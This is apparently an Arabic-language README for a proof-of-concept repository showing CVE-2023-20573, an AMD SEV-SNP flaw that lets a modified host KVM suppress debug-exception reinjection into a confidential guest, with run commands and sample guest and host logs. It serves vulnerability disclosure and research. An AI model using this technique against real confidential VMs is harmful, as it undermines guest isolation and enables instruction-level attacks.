
إثبات مفهوم يوضح CVE-2023-20573: ثغرة أمنية في عتاد AMD SEV-SNP تسمح بقمع إعادة حقن الاستثناءات في KVM، مما يتيح استغلالًا على مستوى التعليمات.
يحتوي هذا المستودع على VMM يُقلع ضيف SEV-SNP بنواة مخصصة. إن VMM والنواة نسخة مبسّطة من مشروع لي. يتطلب تشغيل نواة Linux معدّلة على المضيف: https://github.com/Freax13/linux/tree/for-amd.
يمكن تشغيل إثبات المفهوم كما يلي:
cd host
cargo run -p vmm
يقفز هذا الكود ذهابًا وإيابًا بين تعليمتين:
2:
nop
jmp 2b
عند ضبط علم TF في سجلات FLAGS، يجب أن تُولَّد الاستثناءات مع تبديل مؤشر التعليمات بين التعليمتين.
تُعرّف نواة الضيف معالج استثناء يقوم ببساطة بتسجيل مؤشر التعليمات المُبلَّغ عنه في إطار مكدس المقاطعة. نظريًا، يجب أن تبدو السجلات هكذا:
...
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
...
ومع ذلك، من الناحية العملية، تعمل نواة المضيف المعدّلة على كبح إعادة الحقن، مما ينتج عنه السجلات التالية:
...
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:53] last instruction was also nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:59] last instruction was also jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
...
ستظهر الأحداث المُكبوتة في سجلات نواة المضيف:
...
[798678.660473] kvm_amd: exit_int_info=80000301 exit_info_1=500000004 exit_info_2=180000000 exit_code=400
[798678.678645] kvm_amd: exit_int_info=80000301 exit_info_1=500000004 exit_info_2=180000000 exit_code=400
[798678.680906] kvm_amd: exit_int_info=80000301 exit_info_1=500000004 exit_info_2=180000000 exit_code=400
[798678.683491] kvm_amd: exit_int_info=80000301 exit_info_1=500000004 exit_info_2=180000000 exit_code=400
[798678.700844] kvm_amd: exit_int_info=80000301 exit_info_1=500000004 exit_info_2=180000000 exit_code=400
[798678.712970] kvm_amd: exit_int_info=80000301 exit_info_1=500000004 exit_info_2=180000000 exit_code=400
...
يُظهر هذا أن تسليم استثناء #DB تم كبته.